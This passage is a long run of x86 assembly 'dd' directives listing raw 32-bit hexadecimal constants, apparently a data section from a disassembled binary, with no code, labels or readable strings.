		dd 8FA98744h, 0F75441FEh, 38E42A5Eh, 0F15F13CDh, 0F58E0A3Ah
		dd 21093D07h, 7A5D1C6Fh, 0A6555B2Ch, 38A00578h,	24026722h
		dd 43E60AEDh, 0FDD0C2ECh, 5060C866h, 0B875999Ch, 3CE9173Bh
		dd 0EB543754h, 476D4300h, 9FA1103Eh, 26FFBBEFh,	0AD8AAF2Ah
		dd 6100F155h, 0BD25F47Eh, 0D2DC058Eh, 0FCAEE936h, 52B405C1h
		dd 0C104E720h, 660F49C9h, 4127B649h, 0C5F82BF1h, 59CBA725h
		dd 0B9742713h, 0AD648449h, 830180D5h, 0C654B86h, 299A20h
		dd 0B8A4AC02h, 67B94959h, 0B780D09Dh, 0E91F4F45h, 8046DA98h
		dd 881C05F1h, 945259CCh, 6E1EFAE7h, 22BFD392h, 6D7C448Ch
		dd 0D1C0BE01h, 0A97B3038h, 0DD5F7F2Ch, 0D87BECA1h, 69AB684h
		dd 0D0545726h, 9A2CD00Bh, 0C99F15Fh, 0CBED8069h, 975B9109h
		dd 0D859804Bh, 0BF244105h, 2F248058h, 9BC92CCh,	8136C50Bh
		dd 0F20CA9DBh, 2CEED30h, 2F7526EBh, 8578C4E9h, 17D0094Eh
		dd 60626D9Dh, 603F647Ah, 0F2B77C94h, 7D750F7Ah,	0F3C06152h
		dd 0E8B18308h, 79DF0125h, 95DB62E6h, 22995680h,	4DF66E1Ch
		dd 99A45A5Ah, 750658E1h, 0B34C2003h, 1BD4126h, 3EFBDF91h
		dd 5DF05389h, 80C9ECCCh, 0FE587FB8h, 3E9FB348h,	0B15CEAC0h
		dd 1FE0D2F2h, 505B2ADDh, 3A6498B4h, 66203372h, 0C545ED1Dh
		dd 21361ACh, 0A7CEAD01h, 6C20A619h, 0EA4F5F9Dh,	0DE289023h
		dd 26A9BDDBh, 7C670BDFh, 96C7C0EBh, 1D2D6121h, 8850829h
		dd 9032FD25h, 0E5985475h, 4E96ECA4h, 202CF39Ah,	6E14A52Fh
		dd 0CA8347F8h, 177ECC1h, 0D7B75350h, 2E6DC780h,	1AF628F0h
		dd 3D61E9D0h, 295BB052h, 315AC902h, 2579FD44h, 0DB31756Bh
		dd 8092A3Eh, 8970765Ch,	0D3574033h, 0B4E941BFh,	0E0E74DD7h
		dd 98BD4EECh, 8D498F03h, 0D051E90Bh, 0CAB13B6Fh, 0A38089ADh
		dd 0F086C0FEh, 8D6F637h, 2C08E071h, 41D11F20h, 7FC4CCBEh
		dd 48258F25h, 8804DDC2h, 309A57C5h, 23745EF6h, 0FF3C8925h
		dd 0CF3676Ch, 0FFC27EBBh, 0B428EB2Bh, 0BAA6404Dh, 9938700Fh
		dd 4CBC446Dh, 0B113EB17h, 8276F3ABh, 77841FE9h,	837CC412h
		dd 0EB8F72Fh, 5F5F1268h, 0F8B85E31h, 8ED80C25h,	8D23BF52h
		dd 3DC044C2h, 0D0BDF201h, 12CCB3E6h, 7F09F1EAh,	6CA1B5E8h
		dd 4AF05C6h, 0EB6B5C10h, 0C04CAF9Dh, 0F38F4DE9h, 27AB2B7Ah
		dd 75B802E8h, 0E4606B5Eh, 0D892265Bh, 0CE34EE77h, 0F2AA34EDh
		dd 7AC65BEBh, 0E9280B90h, 0C4FD7CF4h, 0BFF74F86h, 0CA51E023h
		dd 77A65AE8h, 915A69E5h, 4987C5FDh, 429A0601h, 0A5E84172h
		dd 235B553Ah, 0A2E955D5h, 29848956h, 1C7396D8h,	251BBF68h
		dd 0B6BA165Dh, 85E98602h, 2D0746EBh, 0DA7B19F9h, 8A05C7F5h
		dd 6CAE2ECFh, 524DE929h, 0BF5C2B0Bh, 18A45F25h,	4B38EC8Dh
		dd 42A98FFCh, 0B9005DB7h, 7A307C22h, 34623163h,	0BDE83114h
		dd 75A035FBh, 0F51999ABh, 0F380009Bh, 0DE08266Fh, 26B170FCh
		dd 3FCCE797h, 0BCB53F24h, 3F39B74Bh, 665BFB53h,	0D8C477BCh
		dd 997F249h, 541ED568h,	0FE8669E2h, 0DB0A932h, 0F176E1B0h
		dd 73045A1Ch, 832CC80Eh, 5F1CE3E9h, 0B7EDB826h,	0B3A876F4h
		dd 86EFB618h, 51B1463Fh, 8105E017h, 0D228DB8Ah,	5BE52768h
		dd 8087A436h, 0F5591609h, 899811Ch, 0F7665C60h,	0ABE916F1h
		dd 0D338490Bh, 0C917F957h, 0F150E8D6h, 0DE71BF9Dh, 0C4125395h
		dd 0DDAE3C55h, 2607BF00h, 56979D71h, 175E5098h,	8C281168h
		dd 0FD5EC099h, 5321CD40h, 0B529266Fh, 8093462h,	5B0A6C52h
		dd 69510FE9h, 0A8DF963Bh, 0EB6C8BB9h, 23DD4EBEh, 0CBAF5E57h
		dd 0B6114C7Bh, 0E432245Ch, 67806B88h, 7FFE111Fh, 7208B94h
		dd 0C882E916h, 92AFBDh,	4F6855E2h, 327CBA4Eh, 0CBEE2C4Bh
		dd 0CD819E01h, 4BF53D53h, 0E902816Fh, 41567E80h, 83F9671Dh
		dd 7EFC00Ch, 0CB82CDFEh, 5061FD31h, 0C1A36B3Ch,	783680Bh
		dd 6A2A4066h, 0EB04B2C7h, 51356167h, 65C57E0h, 84E9482Dh
		dd 939CF2Bh, 745BAEDAh,	6AC6F207h, 0AAF9D5A9h, 0B8D8186Ch
		dd 0BA2F40B3h, 0BA03A0E7h, 493ECF0Bh, 0A092FE3Ch, 1C248E08h
		dd 37BB53h, 0D9313443h,	0C84C215Bh, 854B5Fh, 277C2EEEh
		dd 5AB4565Fh, 20645055h, 68252279h, 6223F69Ah, 4070EE88h
		dd 16554B20h, 0EB9D6857h, 73882C35h, 0B3794AC2h, 2D7994A7h
		dd 58AD5C23h, 5570ED68h, 0E51354B5h, 0BB66855Dh, 13CDDA66h
		dd 88A42DE9h, 0E158F7F0h, 5B3325DCh, 275615B1h,	5677E916h
		dd 0DAD2028Ah, 4B55CAFEh, 0D8249A5Fh, 179C4A0Ch, 0C56BA7EFh
		dd 8156D4E9h, 169294E7h, 0BDF4F030h, 1F38220Fh,	9992E434h
		dd 95C44DE8h, 0F0280066h, 0F452AF2Ch, 4F81F508h, 0E32F49F2h
		dd 54F17B01h, 60A4FD6Bh, 0C968040Ah, 0BC199963h, 0A4FB0A2Dh
		dd 132E8039h, 0CD49BE18h, 0E91716D1h, 0EA2520AAh, 0C1FC3D34h
		dd 0F0633148h, 20E930FFh, 5A5A3E5Eh, 0AD5BDD8Bh, 201F214h
		dd 0D457E15Fh, 16F2CB20h, 0B16D2D02h, 327C0107h, 107D0C0Bh
		dd 0C5727DEEh, 0FFB3688Bh, 29EA5916h, 189141B1h, 6C39075Eh
		dd 0F82BFB25h, 0FC5D7590h, 35480020h, 37F37592h, 3B022B68h
		dd 7A7B01A2h, 6F4D3132h, 7681A6C4h, 0FE97C95h, 384ED7Ah
		dd 28E37AF0h, 0AEE9A829h
		dd 3C5B9570h, 60148CA4h, 380C040Bh, 6FC00339h, 6A921DA4h
		dd 0C0B6047h, 0F0CB5C89h, 995E56h, 85636805h, 4EACE93Ah
		dd 6BEBE71Fh, 9F427D8Ah, 205DF742h, 2085F5E7h, 0EA54CF82h
		dd 0ED508FA9h, 0D75D4B76h, 40BC4CF1h, 3D40CE9Dh, 7B6B2F68h
		dd 20D3D119h, 54414650h, 609FA17Bh, 5B81FE28h, 5032E9C6h
		dd 0E45BB92Ah, 4A9AE004h, 76C11FBCh, 0F80B0141h, 4791D729h
		dd 0A6A2F769h, 33F242F2h, 0E1430517h, 94F205FFh, 5B31FBFAh
		dd 8E236457h, 0C805A548h, 1C785F2Fh, 0B54F05C0h, 0B0C5E820h
		dd 71175034h, 36CD5831h, 61E0F35h, 641FE3FEh, 0A0E7FBBFh
		dd 0A2CD259Dh, 0EC88E2F1h, 0C3090F4Bh, 0AE25AE9h, 0A63FEA5Eh
		dd 5F928CADh, 3525C501h, 1F6E1EBBh, 0BB0ED72Ah,	7488F422h
		dd 0EF71F73h, 6257F468h, 9FF487Fh, 253F38E7h, 0DE8DD183h
		dd 0ED80F707h, 0DE06D214h, 0DF04A248h, 285B16C3h, 0B72EAFC5h
		dd 6EC0E62Ch, 0BC9292EDh, 78BE5A11h, 0FB94426Fh, 67ADDE2Fh
		dd 8673C3D1h, 75544025h, 0E9045147h, 90D8ED96h,	5BE2A894h
		dd 5AF70481h, 0E830DC1Bh, 0E9450766h, 0DF0B71FEh, 6812FA66h
		dd 3CAF6DA2h, 68125B78h, 71FF6F08h, 29477BCAh, 0E12C77D8h
		dd 686133C8h, 0BA4C3630h, 9D90BA50h, 7C2F9DFEh,	5220391Dh
		dd 0CD0EB4FEh, 67C2F480h, 0EC63E0C4h, 18060C87h, 9516DCF6h
		dd 16E68825h, 3583359Dh, 0EC142148h, 0D2956DAEh, 0D3C6F3BBh
		dd 0E78C5728h, 7B93E80h, 0C101E60Ah, 17A00290h,	2B793F66h
		dd 25320CC2h, 0DD41DD65h, 88389052h, 0E3685804h, 0E539982Dh
		dd 37218441h, 13B926Ah,	4E2A647Dh, 932A84B4h, 12988168h
		dd 0F4A4A25h, 0FDD3FDFCh, 82B592B4h, 2CE3317Eh,	4C01011Eh
		dd 0EB4F0C66h, 3FFD7B12h, 0F2E90F99h, 0D7271B74h, 110AC67h
		dd 9A7B34Eh, 5F7793E9h,	0DE02BED9h, 40445808h, 2573312Ch
		dd 91F67237h, 0BDBA08A0h, 0DEAF5A4Ah, 0F9407E2Eh, 2C8B2558h
		dd 25454FFDh, 1DFE99D7h, 0BAD8013Bh, 30DA5AA2h,	0FC9DD520h
		dd 0ECF55990h, 525A3769h, 60281E2h, 1B3B2ACh, 4094471h
		dd 5823F40Ch, 71B5C65Dh, 0BAF2EFD8h, 4E08E552h,	86F52FBEh
		dd 3006E176h, 681258B9h, 899E3664h, 0A4DA8E62h,	8EFCEFAFh
		dd 0C7515E7Ah, 82546994h, 6646C309h, 4FCB387Eh,	0AD67AE4Bh
		dd 0CAACA5C5h, 84A7B34Bh, 9AB179E9h, 0D39EE93Eh, 0EEB785FFh
		dd 8A3B55E1h, 0B7F32CB8h, 0AB966810h, 0F2B9CE12h, 7BC77210h
		dd 0A1CE035h, 0C425A2ABh, 0E4BC895Ch, 3CF08A1h,	2C9216BEh
		dd 7F7DB2DBh, 0E01E385Ah, 120AC894h, 24F8FE04h,	0AAB5E3E7h
		dd 0E2D11C19h, 202E1F9Ah, 331D682Dh, 0DC36ADB3h, 215A1210h
		dd 531E23D0h, 2B068DEBh, 0B16BE954h, 0BA47FA3h,	0F5210ED3h
		dd 0ED602379h, 9B8D777h, 0B34BE9CAh, 139888C4h,	64BA305Ah
		dd 0BD3B244Bh, 0CB68A034h, 70CDB76Ah, 4112FD26h, 62A75D90h
		dd 0E1C94F4Bh, 0E5973ED6h, 42EF5130h, 0C9F9F889h, 43D65F75h
		dd 0CD048452h, 0B3095395h, 217D61C7h, 27B8B43Fh, 1571190Fh
		dd 12EFE655h, 68E01299h, 0D860EF0Ch, 0BB7354Eh,	76E9427Bh
		dd 2D02BDD8h, 0EFE08E71h, 4DFB5D29h, 0FAE5930Bh, 38C7051Dh
		dd 0C4DFB237h, 0D0B5BB6Fh, 0D51BAED4h, 0D7407527h, 0DDD1B748h
		dd 5B3B18Bh, 28840136h,	58E3D880h, 0D57C9F30h, 0DD53151Eh
		dd 0BAE80FC8h, 0F181015Eh, 2F6D2D31h, 0B8413B49h, 8C11EA2Ch
		dd 0F831812Bh, 43A73BA4h, 5B7EA84Eh, 50002DCEh,	2A0FA2B8h
		dd 0D060F733h, 0F0620504h, 1CC0BD5h, 6C5558C6h,	28E91228h
		dd 789FE931h, 1A059FD3h, 2E805702h, 3A5E5859h, 0B62BF20h
		dd 0DE7EF729h, 0DEE18EC5h, 8D4740F6h, 1C7E82EBh, 5C02A53Fh
		dd 0E1808379h, 6C306613h, 0BF57893Bh, 204505B0h, 0EBDFF71Bh
		dd 4EF91DB0h, 9C408C2Ch, 0DD9D6070h, 0D9E16C33h, 26373B2Eh
		dd 47C93FC5h, 5F0CFC2Bh, 0EB04ECF6h, 81FE2945h,	6EF8016h
		dd 0DDD19F2Eh, 32A01616h, 86FC4F88h, 0B6775249h, 0DABAF7F2h
		dd 0E84E78B7h, 885B4F66h, 7DD237D6h, 6D2BC501h,	8E3E5E64h
		dd 8EEA4ACAh, 11E9094Ah, 0AFAAD655h, 0D417C6F6h, 40567C82h
		dd 9F321594h, 67AF1717h, 25C02072h, 4457A747h, 0ECF35E3Bh
		dd 961D12BAh, 13840AE2h, 8BB800A8h, 567B25h, 5509B535h
		dd 71F52D08h, 55D6E3Dh,	6EEC8C2h, 2B6E20EAh, 1D4ACF51h
		dd 0B24BC0ACh, 50875FEDh, 6051DD72h, 4F273CF8h,	706721B9h
		dd 0F789923Ah, 1D9A906h, 4FDA5C0Ch, 26FE5C25h, 0C30DB782h
		dd 3EF30035h, 0E91919F8h, 573E5007h, 0AE3CB1D9h, 0EEC15905h
		dd 2DA1EC05h, 0E57D8941h, 30F5ADB6h, 4C0D700Eh,	493FD010h
		dd 0ABB81663h, 21738F81h, 6FC42E41h, 0C9F5C029h, 0ECEEA654h
		dd 91A1A444h, 0A3E7B92Eh, 215925C9h, 8BEE875Fh,	0F823D4CBh
		dd 0E55267E9h, 37A29648h, 0DD653E1Bh, 286BD5B1h, 56B2C9F7h
		dd 0EEC69719h, 0AAE17E52h, 0C4DE67D9h, 1C31208Dh, 2569BB00h
		dd 0E3817218h, 985F1853h, 7ECBD26Dh, 4B84934Bh,	0DBB42DC1h
		dd 2E14F17Fh, 0CC365F4h, 31F451D5h, 9D16EF0Ch, 0B6EDC80Ah
		dd 38C1EA93h, 8369468h,	4444FB13h, 8207E056h, 2BC403D3h
		dd 5FB4D425h, 888E9AE5h, 5184BEBh, 0EFA456EDh, 295C31BEh
		dd 1D4F2FEh, 633A2B68h,	494863F5h, 5DD2048Ah, 90EB6C5Bh
		dd 0DD531C9Dh, 52F681A0h, 60CE202Ch, 0B3CFEE00h, 5AE934B5h
		dd 625AA490h, 67AE2C09h, 6440C96h, 4EE7B8D8h, 747F3050h
		dd 1058025Eh, 5A531D0Bh, 0C980595Dh, 15842DBBh,	20E92D41h
		dd 0EA806980h, 4994882Ch, 0D34C92BEh, 4138FBA4h, 50512420h
		dd 0B5042E9Ah, 44ED80EAh, 0C53C06AEh, 0F4D706E3h, 0E9152CAEh
		dd 0C20D02Eh, 87A15A65h, 0D0F005F0h, 4312BC52h,	9EBCB9EAh
		dd 0A41FABBCh, 79340F0Bh, 788E028Dh, 2C78FB57h,	0C5D2C5E6h
		dd 3567B04h, 5801EDCCh,	84CBA4D8h, 0C1589AA0h, 6CF07EBh
		dd 277E8902h, 32655F67h, 42F055C9h, 0EEC2515h, 880A452h
		dd 0D151295Fh, 3ED63EEAh, 24680E2Eh, 0EEAE6439h, 1181CC75h
		dd 0A7424C54h, 4E465A24h, 678FABC6h, 202FC912h,	0DE3D6C33h
		dd 97FB544Ah, 0FED16BCDh, 60D3461Ah, 12069DE3h,	4B403019h
		dd 61C24C0Fh, 0B0A2F64Fh, 0D45BF825h, 8625BA9h,	938997Ch
		dd 30C07055h, 0EAC9431Bh, 983D2F45h, 0BCC1923Bh, 1FA3E6BAh
		dd 0B64CD3F7h, 2ED87B25h, 1093DA04h, 4B6838CAh,	3473A2E1h
		dd 8638FDD2h, 0B65E59Dh, 490F57CFh, 471C89D6h, 80134509h
		dd 793B73EFh, 1C314C2Ch, 271CBD4Ah, 0B5835896h,	0D8DA297Eh
		dd 0BB532184h, 0DA80E592h, 0F3002B4h, 805866E1h, 0B353809Eh
		dd 0FED3F69Bh, 0F316C37Ah, 54BA2006h, 0B4136FE5h, 0C934FC10h
		dd 0E9675DEDh, 40FEE98Bh, 977BF44h, 4749734Ch, 92E26A04h
		dd 68F75D50h, 3362F436h, 4F10010Bh, 2FECF604h, 5781EDACh
		dd 0C25535E9h, 0C930B2FFh, 5F262917h, 0C06BB7F9h, 9FEDAB81h
		dd 31802192h, 48B55C7Bh, 544095B0h, 321E2D68h, 5D9FB6C5h
		dd 1865069Ch, 487FE8B8h, 6E25711Ah, 0F2092002h,	3DE276E0h
		dd 0F4C7E16h, 8AA081AAh, 50903A57h, 7D9D61DCh, 5ED07D53h
		dd 0BB6D84DBh, 6FA934E8h, 0A8CC8744h, 975BF00h,	40B74847h
		dd 923F8B18h, 9080BF53h, 0F8955894h, 0FDD0B5h, 275BD705h
		dd 2DD0011Fh, 685A07A0h, 36BC6778h, 4F7B0C60h, 7A50BD3Ah
		dd 0C80454CCh, 5069A39h, 65CF832Dh, 0ADC4FEB3h,	434FA0BBh
		dd 720C7617h, 664D2E0Bh
		dd 13A95E83h, 859DAA84h, 0B5C29FF8h, 4901CC24h,	61D75855h
		dd 96F11B17h, 6A76D91Fh, 0DFEE9339h, 339E9996h,	46676A0Ch
		dd 0F8DA9FBDh, 59C502BFh, 7FF67787h, 13C760E9h,	19702C72h
		dd 74D40268h, 84E06397h, 2F2C565Eh, 9B03452Bh, 257E9D5Dh
		dd 507E0764h, 500748A8h, 0CF01BD8Ch, 6CB87CD4h,	0DDDFFF4Eh
		dd 0EFE0EC38h, 0D75027F3h, 0DD890E09h, 0A1EAD55Bh, 34AE3861h
		dd 0B41735A9h, 2A0F8968h, 26979CC7h, 60FB6A53h,	0F12853A6h
		dd 565D4A25h, 13F80297h, 707D465Bh, 0EACA4001h,	1C275678h
		dd 0BDE3C8B9h, 0D61F176Ah, 0C539D003h, 0F058676Eh, 0DFF500C5h
		dd 14F8C28h, 4193B4E8h,	3C3BB168h, 62ADC5A2h, 0F1E7C7F5h
		dd 0B63B204Fh, 0CEAC103Fh, 14EAC5Bh, 0D64CD817h, 0AF20D589h
		dd 14B380BEh, 80DBF607h, 0EB3096E3h, 70DC880Eh,	1858F25Bh
		dd 1826B551h, 0D5FF2891h, 0CED3D6C3h, 9CB3942Dh, 21CEC568h
		dd 0FCC3C6C1h, 512D26A0h, 898DD768h, 6A5DF6F8h,	0A5DC5FF8h
		dd 1CC87AA5h, 70536FEAh, 0E5F980Ch, 0A422214Fh,	70C557A3h
		dd 0C81E7400h, 9F606825h, 96A04A71h, 0EF3ADA0Bh, 0C834C3FCh
		dd 8238E7E9h, 6430E0D5h, 70ED639h, 9271FD72h, 51E6628Eh
		dd 0AEC8827h, 525998C7h, 3044FDC6h, 0FE188827h,	783571DEh
		dd 4D3F7427h, 12A0D846h, 1BBDDBBFh, 394B7915h, 162B2851h
		dd 0DA80EBD0h, 4E7184E3h, 424E814h, 128D5B41h, 2DC83487h
		dd 4731155h, 7FDB9C6Bh,	0AB285E44h, 2ACD1CDh, 0B8C08278h
		dd 19DE445Ch, 114DE9ECh, 0DD0527E6h, 1BA7870Eh,	0F5041B73h
		dd 3BADED75h, 236292E6h, 5BA833FBh, 76F64E00h, 18056E2Ah
		dd 61F3A42h, 0B64617FAh, 5F0DFA8Bh, 43B3665h, 0FA3E5DB4h
		dd 0D704FD9Dh, 0CAC427FBh, 22DF82E7h, 0F0C03C23h, 4965CCD1h
		dd 30B15084h, 17B868D0h, 295521h, 3504E8E9h, 0C6004854h
		dd 45E30547h, 0FD892F3Bh, 0E061EC2Bh, 1320EB08h, 0AB0157E3h
		dd 0C4165A3h, 9BB7AC14h, 0A023E9C4h, 0D4488859h, 3E449321h
		dd 0AE172180h, 77422B71h, 6603D051h, 0E9A09F68h, 22C29DFAh
		dd 0C0A22D58h, 7D89EBBCh, 0F3B74DC3h, 12772779h, 0AF43BD3Ah
		dd 0D5C36210h, 5FFE3101h, 36515068h, 2B441833h,	98020361h
		dd 8B0A2B94h, 0F9D62527h, 0C99C458Ch, 0A71A965Bh, 0B800D772h
		dd 42EE4C70h, 62225D0Dh, 0F12D4E4Fh, 27D18007h,	53E8752Ch
		dd 0E814D25Dh, 0E681804Ch, 2C1E2B7Fh, 3D1F4E28h, 79FC328Bh
		dd 4460BF7h, 11A24DFAh,	4E2A8C67h, 7FCBAE13h, 7CC1BB4Eh
		dd 0D42F6312h, 6CC1E11Eh, 6DB09294h, 0C1EFD3DCh, 8F19D69Dh
		dd 0D6835D48h, 7B84A141h, 57315EDAh, 0D5EEE002h, 67A5ADE5h
		dd 0DF6805A5h, 8D12D812h, 0F6EC5B30h, 0EE581DDh, 43380D51h
		dd 0F44CDC0h, 37B07EA3h, 5E65260Ch, 16890C79h, 30C20Bh
		dd 929EA41Fh, 351E9D4h,	0DEC87E56h, 8E5B5057h, 6948418Eh
		dd 4BBB5EBFh, 7729F6DFh, 0C560F904h, 0CACF04F7h, 17BC122Eh
		dd 0B4834B78h, 0F2D7C6FFh, 5C5246F4h, 0E98F9FBAh, 64FE2CABh
		dd 9C1C0F84h, 0D48074C2h, 0CB6A2D57h, 0F7E2DBFCh, 3F9B55D6h
		dd 22F40D5Bh, 0E91F4097h, 0F50B0E69h, 6A5BAD11h, 0D434D607h
		dd 17E91C59h, 0E3492A68h, 208C0925h, 9880E6C1h,	786C02D1h
		dd 0D5F71A54h, 9ECDC5A0h, 20604731h, 647BED11h,	0E9230CE0h
		dd 0BFE8D926h, 1E665E0Bh, 2026D873h, 5F5BEE53h,	0FE4B0EBCh
		dd 0E9E4BB8Dh, 0E8324AAFh, 56F48263h, 0B8B9600Ah, 0E5B09FAh
		dd 73805271h, 6EFD2C8Bh, 0A4F78102h, 403FA177h,	4ACCE9BAh
		dd 0CEE2B4F0h, 0E2E6009h, 0DE91007Ch, 9518317Bh, 5527E370h
		dd 0A532D7D1h, 97CA8FC0h, 55DA5981h, 0AC0961C9h, 502C98AEh
		dd 0C05BA0Ch, 4C780115h, 0E9DA897Ah, 572F2414h,	91BC5263h
		dd 0BA71E875h, 0C7341601h, 0BC1EEB07h, 0A5F7C5A5h, 203CABD4h
		dd 91D09D4Ch, 22FC54A1h, 54277F19h, 42F9D111h, 4E752C8Eh
		dd 8201733Eh, 8569F657h, 0EA843E15h, 3BE1781Fh,	8147F725h
		dd 2260EA80h, 9D291779h, 883FBD0h, 8CE91C4Bh, 0B0215E12h
		dd 0AF4467DCh, 52AE0EC1h, 2DF6A3Dh, 0DAC2ACABh,	0D7274456h
		dd 0DD0FBE34h, 1D084D21h, 4C22E944h, 466C61EBh,	0C0050528h
		dd 8BEB5F95h, 2007128Fh, 2BF2C449h, 0B72F4622h,	822D6C56h
		dd 1A34839Fh, 0C4D81EF7h, 8154519Fh, 9727DF09h,	0D7D84461h
		dd 0CF2B5349h, 0AA015C12h, 0E302BC2Dh, 82275C25h, 5F0C5CBBh
		dd 48534F40h, 514CE302h, 0D92DC7E9h, 18592F15h,	0E67DBA09h
		dd 832CF0F1h, 4EF54201h, 1080B02h, 0C227743Eh, 5200395Bh
		dd 7484BA66h, 342CB44Fh, 8275C508h, 7170C6D4h, 0BAD50124h
		dd 0C516803Fh, 0DED42D69h, 0A1FB4A9Fh, 3CE4F209h, 0F4A6504Fh
		dd 18C9E982h, 0DF4B3E56h, 0C64A9B66h, 110593ACh, 0AF32C020h
		dd 80418D4h, 0B6BA875Eh, 1AED4AD9h, 6829C8F4h, 236EF42Ch
		dd 4E825665h, 209FD21Eh, 0F0955C0Fh, 6C5E02DCh,	0D3013576h
		dd 0C300808h, 5F077309h, 0D2E8A244h, 1D25B908h,	40E3964Eh
		dd 5D29B993h, 0F6956806h, 6F98BF13h, 59CD910Eh,	4D5B9998h
		dd 102E75B4h, 6172071h,	76795D36h, 0A74525A6h, 0F5E9115Ch
		dd 0E71CFF1h, 4A3A7DF3h, 0C9745E0Ah, 0F4793256h, 7DF1F609h
		dd 65F13443h, 0E88F74C4h, 5510D40h, 0B35360B1h,	327C8035h
		dd 0C01BCBFEh, 0D10A04E3h, 0D8C1A7F3h, 80EDA730h, 287C93B6h
		dd 792A0998h, 0A7904B09h, 5DAF2E91h, 1D59F207h,	4BC843E1h
		dd 6DB5791Eh, 0C6855709h, 21A520EEh, 0BA01B190h, 2E732963h
		dd 0B9367BFh, 0A084EE31h, 90AAA1EEh, 0E6401D44h, 6A061E77h
		dd 0BB7ACC4Fh, 2D125A16h, 0B6A06CFDh, 70551D8h,	53A8CF40h
		dd 3058B5A3h, 0AD71913Ah, 0B58C7810h, 0E54038DEh, 980B091Ah
		dd 0FEED3D6Eh, 0EE410793h, 5A5CF8D1h, 0A93CFD24h, 8E894BACh
		dd 85DDE87Fh, 0A008D9E6h, 0D2331691h, 0B700EF2Eh, 7AF78046h
		dd 97F32785h, 0A2F5296Ah, 5668B8DCh, 0C588639Ch, 6B59EF91h
		dd 784E01C1h, 3670F004h, 0AAE8394Eh, 0D65F77C5h, 0D03CE483h
		dd 0BF0F0E69h, 54BC4BDh, 9EF304AFh, 0A35BF7Bh, 3D25A707h
		dd 42C5DD0Bh, 0B4462025h, 1F4B190h, 280EC180h, 54A2E9E1h
		dd 0F11A9D86h, 8F906EEEh, 3061C3F3h, 350C063Eh,	3C7C2423h
		dd 5C4AE306h, 4B7E01F5h, 0D9DDF8B8h, 146F3112h,	660D47F3h
		dd 6A20B252h, 8B2E2FF1h, 65226059h, 0BA939FE9h,	0B7F5F817h
		dd 526A4E10h, 82E931A8h, 4924465Bh, 0DB9044EBh,	0BCADBA77h
		dd 392BF989h, 98156CF7h, 0D33E5BE7h, 0B9905135h, 20ED3AC7h
		dd 7D7BF9E1h, 10CE2932h, 0F05927EEh, 0E9038868h, 5FDF7C25h
		dd 0B77556Ah, 377F0012h, 0C13DF163h, 4E45F0Ch, 5BB2F3Eh
		dd 0AF3C1F03h, 0A8BF3F74h, 42E64B6Ah, 0DF890C9Ah, 68DB7AFh
		dd 2BEB3A32h, 0FE5C0029h, 88EE34C0h, 305817C7h,	9865ABF8h
		dd 3D45CEAAh, 8CABCBD9h, 0D3A13483h, 5D4CC4BAh,	60BD385Bh
		dd 2A8DF202h, 0A88D7B27h, 0F4C36E7Fh, 0E8554E3Ch, 0B8510C5h
		dd 0EE7EBE25h, 9B0F70A5h, 2822A72Ch, 0B904A6EBh, 0E878E1FFh
		dd 1EB72B8Ch, 116813D3h, 0BE0C8C0Dh, 54D204B7h,	9249F6FBh
		dd 0F812090Bh, 0FE594A0Ah, 88FAFBC5h, 11922768h, 0A5FF6851h
		dd 0FF45770Ah, 578F6885h, 0B320B4A9h, 0F8F45076h, 900C92B9h
		dd 4A6B2D21h, 3126504h,	0A42AD2F8h, 1A6D3590h, 2D253A01h
		dd 0E767B638h, 41207D4h, 7FE95327h, 7719ED4Ah, 5A195B2Fh
		dd 0F874B5B1h, 0B1B5C05Ah
		dd 25373E3Fh, 0DADE91Ah, 9BF00858h, 8AC8675Fh, 5ABB0653h
		dd 6E416561h, 4868182Dh, 3D7FF8E3h, 0D1A729BCh,	0C7804C05h
		dd 59E80011h, 5C9F5B2Ch, 0FF6152ECh, 20327E7Ch,	6F467509h
		dd 0C5083098h, 17E7FBE9h, 5BEC0C47h, 0A200E377h, 573B4E60h
		dd 7823A6BFh, 0A150B535h, 0AC85BD01h, 508EE99Ah, 38A402Bh
		dd 823C5E35h, 109DC1A0h, 0A7EB1AD3h, 20523386h,	0BCB05FB0h
		dd 1642B908h, 41985D8Ah, 0D78227AFh, 4297AF16h,	8C1CF7FFh
		dd 955C2D20h, 5058347Ch, 0FD680155h, 0E946ED3Bh, 697BDE20h
		dd 0EFC05E9Dh, 4019414Bh, 0B5CF5801h, 1C8F0841h, 7F81348Fh
		dd 273728E9h, 222B7A7Ch, 68052AF0h, 77F32348h, 0D507224Bh
		dd 57309EE4h, 315F3AFDh, 4843F0C6h, 5E847238h, 62A5AA30h
		dd 10E97ABCh, 0DA6F08D5h, 0D4975602h, 0A06FD8DBh, 2D311A37h
		dd 554599h, 64AF548h, 90C1235h,	0E95816E8h, 79EE003Eh
		dd 1751643h, 820890C6h,	4DC50408h, 4AFD811Eh, 3E474FD1h
		dd 57A5DDD2h, 947D768Bh, 0B25520B3h, 33F720FFh,	364B094Eh
		dd 68776083h, 93C2B7ADh, 0E9C10771h, 0A54AAB50h, 8F6FB05Bh
		dd 16EE19C1h, 0BC414CF2h, 0FA73E57Eh, 0E940FE4Ah, 9020FDBDh
		dd 1353BE25h, 2D1BE2Dh,	4D6168D8h, 0B12C522Bh, 8783065h
		dd 0E97C13BDh, 0B72BAA6Ah, 88AB4B53h, 31D3C30Eh, 57041C2Eh
		dd 986C0168h, 7FA6B07h,	0DAF77712h, 7E33371Ah, 0EA890B0Ah
		dd 6F6B4678h, 0BE895527h, 0FB016B40h, 6888F8B6h, 164227FFh
		dd 0D9B7635Dh, 0CC7F6E01h, 9A4A7BD3h, 2A21C9EAh, 0BD5374A4h
		dd 6D1E16DBh, 0F74D1F82h, 0F481F5DDh, 21BC4991h, 0C7A407F5h
		dd 3ACBB0DBh, 5E98996Ch, 5B8CAC37h, 20B5EB6Eh, 1E72B954h
		dd 0F04E5E67h, 54415A19h, 213CD5DDh, 0ED2BFD01h, 9AFEBA22h
		dd 89F4290Bh, 598C768Eh, 515B60E5h, 0D79DFAB2h,	0A134C084h
		dd 0A8FC7EC3h, 754DE9F1h, 0B6B16E9Fh, 3553AB2Fh, 7E9445ACh
		dd 6317E04h, 2CE6F020h,	0F2961A44h, 0FC30E7D0h,	0F808CB39h
		dd 420A6255h, 0CB165D2Fh, 0E42F4409h, 0BD0AD52Eh, 821709E5h
		dd 57A01ADDh, 0FA056B22h, 80DCDF92h, 731683A7h,	0CE1B50E7h
		dd 1028253Dh, 0B8C0C87Fh, 0FB4702DFh, 71740D67h, 8BFFC175h
		dd 9E1C75FEh, 0F35AF898h, 20032DFAh, 7338CAA6h,	4AADCB0Eh
		dd 2F84A81Bh, 234770E8h, 61C1A48h, 21C0F4C5h, 95D048C0h
